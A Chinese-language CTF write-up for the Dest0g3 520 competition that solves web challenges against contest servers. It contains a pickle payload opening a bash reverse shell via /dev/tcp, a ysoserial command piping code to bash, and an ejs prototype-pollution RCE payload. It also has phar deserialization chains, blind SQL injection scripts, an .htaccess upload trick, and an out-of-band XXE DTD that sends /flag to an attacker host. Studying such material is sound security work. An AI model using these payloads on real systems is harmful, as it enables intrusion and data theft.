Dest0g3 520 WP
Misc
签到。
Crypto
babyRSA
已知 n, c, e。发现 p q 相差很小,可以直接用 yafu 分解。
yafu-x64.exe factor(big_number)
Web
phpdest
伪协议配合多级符号链接的办法进行绕过。
- https://www.anquanke.com/post/id/213235
EasyPHP
post ctf[]=
让.=
报错触发error_handler
。
SimpleRCE
hex 绕过。 post aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));
middle
没见过的新知识点,学习一下。
- https://xz.aliyun.com/t/7012
- https://github.com/eddieivan01/pker
- https://jishuin.proginn.com/p/763bfbd6a660
- https://tari.moe/2021/10/25/2021nitai/
- https://www.anquanke.com/post/id/259594
- https://xz.aliyun.com/t/7436
- https://pythonmana.com/2022/04/202204100617577444.html
- https://zhuanlan.zhihu.com/p/361349643
因为 R 需要元组,但参数又要求 L,有两个思路,一个是把 L 转成元组,另个一个是用其他命令绕过 R。 这里用的后一种思路,于是可以手写出:
(cconfig
backdoor
(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")'
lo.
import io
import sys
import pickle
import base64
import config
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
payload = b"""(cconfig
backdoor
(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")'
lo."""
print(base64.b64encode(payload))
# restricted_loads(payload)
# print(str(restricted_loads(payload)))
#---config/__init__
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
PharPOP
php原生类反序列化 + phar 绕过 + GC回收机制利用。
构造主要的 pop 链,先用DirectoryIterator
+glob
协议找到 flag 文件名,再用SplFileObject
读取文件:
$t1 = new tree();
$t1->act = "DirectoryIterator";
//$t1->act = "SplFileObject";
$t1->name = "se";
$air = new air();
$air->p = $t1;
$apple = new apple();
$apple->xxx = $air;
$apple->flag = "glob:///f*";
//$apple->flag = "/fflaggg";
$t2 = new tree();
$t2->name = $apple;
$t2->act = "se";
$t3 = new tree();
$t3->name = $t2;
$t3->act = "se";
生成 phar 文件:
$exp = [$t3, null];
$phar=new Phar('2.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("se",'text');
$phar->setMetadata($exp);
$phar->stopBuffering();
看这篇文章。
可以修改 i:1
为 i:0
使它能够触发GC机制;脚本重新计算签名。这里在本地测试时似乎发现一个小问题就是在 php7 下签名算法是 sha1,但在 php8 下似乎变成了 sha256。
from hashlib import sha1, sha256
f = open('./se.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('se2.phar', 'wb').write(newf) # 写入新文件
扔进 linux 压缩成 gz:
gzip se2.phar
然后发包:
import requests
f = open('se2.phar.gz', 'rb').read()
# resp = requests.post("http://09ea7070-78b0-483f-b812-82aa5b0764b6.node4.buuoj.cn:81/",
# data={
# '1': 'O:1:"D":1:{s:5:"start";s:1:"w";',
# '0': f})
resp = requests.post("http://09ea7070-78b0-483f-b812-82aa5b0764b6.node4.buuoj.cn:81/",
data={
'1': 'O:1:"D":1:{s:5:"start";s:1:"r";',
'0': 'phar:///tmp/a66f7196435a20ece56e64853bb5557c.jpg/xxx'})
print(resp.text)
EzSerial
cc6 带 Cookie 访问/admin
路由反弹 shell。
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,your code here}|{base64,-d}|{bash,-i}' | base64
funny_upload
- https://www.anquanke.com/post/id/241147
传.htaccess
文件:
AddType application/x-httpd-php .jpg
php_value auto_prepend_file /flag
ezip
构造一个解压出错的 zip 文件,在 Linux 环境下可以将一个文件名改为////
,然后就能使htaceess
和图片马一起保存下来。
然后是 suid 提权:
$ find /usr -user root -perm -4000 -print 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/nl
/usr/bin/passwd
使用nl
读取/flag
。
NodeSoEasy
ejs + node 原型链污染造成的 rce。
查看 ejs github 上的 pr,发现了出题人的 merge changes (但并没有被 ejs 作者接受:>),修改了shallowCopy
函数,然后再看看未修改前,在shallowCopy
中能够对opt
本身直接加属性,则opt
所有属性都可控,找到escapeFunction
和client
并没有套 waf 能够加以利用造成 RCE。
{"__proto__":{"view options":{"client":"true", "escapeFunction": "1;process.mainModule.require('child_process').exec('echo b64code|base64 -d|bash')"}}}
Really SQL
网不好怎么办,多跑几遍 :<
import re
import requests
Ts = "hacked"
url = "http://28128670-4049-4d65-9c9b-41768cd215f6.node4.buuoj.cn:81/index.php"
# ctf flaggg
def SQL_injection(url):
res = ""
for i in range(1, 2000):
left = 32
right = 128
mid = (left + right) // 2
while left < right: # '||if((ord(mid((select(group_concat(Password))from(Staff.Users)),%d,1))>%d),(benchmark(1000000,sha(1))),0)||'1
payload_database = "'||if((ord(mid(database(),%d,1))>%d),(benchmark(1000000,sha(1))),0)||'1" % (i, mid)
payload_all_database = "'||if((ord(mid((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_table = "'||if((ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_cloumn = "'||if((ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_info = "'||if((ord(mid((select(group_concat(cmd))from(ctf.flaggg)),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload = payload_info
data = {
"username": payload,
"password": "123",
}
# urls = url + payload
try:
resp = requests.post(url=url, data=data, timeout=3)
# print(resp.text)
right = mid
except:
left = mid + 1
mid = (left + right) // 2
print(mid)
# if (mid == 32):
# break
res += chr(mid)
print(res)
print(res)
if __name__ == "__main__":
SQL_injection(url)
easysql
网不好怎么办,多跑几遍 :<
如果单单使用 mid
进行单字符验证,那么有概率会出错,可以用left
加上已经获得的字符串进行盲注。
import re
import requests
Ts = "hacked"
url = "http://f6053ba9-d057-40bd-8e5d-f0e07b0ba27d.node4.buuoj.cn:81/index.php"
dics = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_-0123456789!@#$%^&*()+"
# ctf flaggg
def SQL_injection(url):
# Dest0g3{62c13445
# Dest0g3{62c13445-0835-44b6-845e}
res = "Dest0g3{62c13445-0835-44b6-845e-d625ad"
l = len(res)
for i in range(l + 1, 2000):
# for x in dics:
for mid in range(128):
# mid = ord(x)
payload_database = "'||if((ord(mid(database(),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (i, mid)
payload_all_database = "'||if((ord(mid((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_table = "'||if((ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_cloumn = "'||if((ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_info = "'||if((ord(mid((select(group_concat(cmd))from(ctf.flaggg)),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
i, mid)
payload_info_ = "'||if((left((select(group_concat(cmd))from(ctf.flaggg)),%d)='%s'),(benchmark(100000000,sha(1))),0)||'1" % (
i, res + chr(mid))
payload = payload_info
data = {
"username": payload,
"password": "123",
}
try:
resp = requests.post(url=url, data=data, timeout=2)
except:
print(mid)
res += chr(mid)
break
print(res)
print(res)
if __name__ == "__main__":
SQL_injection(url)
ljctr
- https://tttang.com/archive/1405/#toc_0x02-xxe-rce
- https://xz.aliyun.com/t/10829#toc-9
高版本的绕过思路可以是寻找本地工厂类,发现可以用 c3p0 中的 lookup(contextName)
触发本地工厂类,而 docker 文件中给了 flag 的位置,所以能使用 org.apache.catalina.users.MemoryUserDatabaseFactory
进行 XXE 外带。
因为PoolBackedDataSource
原本的writeObject
方法会过不了Java agent
的 waf,而且也没把contextName
给写进去,所以需要考虑本地覆写writeObject
,自己写好后编译成 class 文件然后替换 jar 包。
这里可以直接使用 winRAR 不需要解压 jar 就能进行 class 文件的替换。
在 vps 上起一个 rmi 服务端:
System.setProperty("java.rmi.server.hostname","your_ip");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "https://ip:port/exp.xml"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("xxe", referenceWrapper);
System.out.println("Start to run...");
然后更改writeObject
:
将
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
替换为
indirector = new ReferenceIndirector();
Properties properties = new Properties();
CompoundName name = new CompoundName("rmi://ip:port/xxe", properties);
indirector.setNameContextName(name);
IndirectlySerialized indirectlySerialized = indirector.indirectForm(this.connectionPoolDataSource);
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Field field = clazz.getDeclaredField("reference");
field.setAccessible(true);
field.set(indirectlySerialized, (Object)null);
oos.writeObject(indirectlySerialized);
然后写 xml 和 dtd 文件进行无回显 XXE:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "https://ip:port/se.dtd">
%remote;%int;%send;
]>
<root/>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
然后是生成 payload 发送,最好用 url 编码一次 :< b64里有+
,有铸币忘了一次又一次。
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("foo", "http://127.0.0.1"));
final ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(b);
byte[] res = out.toByteArray();
String b64 = Base64.getEncoder().encodeToString(res);
System.out.println(b64);
oos.close();
Reflections
是直接从 yso 里拿来的,自定义的内容就一股脑写在 writeObject
中了。
- Misc
- Crypto
- babyRSA
- Web
- phpdest
- EasyPHP
- SimpleRCE
- middle
- PharPOP
- EzSerial
- funny_upload
- ezip
- NodeSoEasy
- Really SQL
- easysql
- ljctr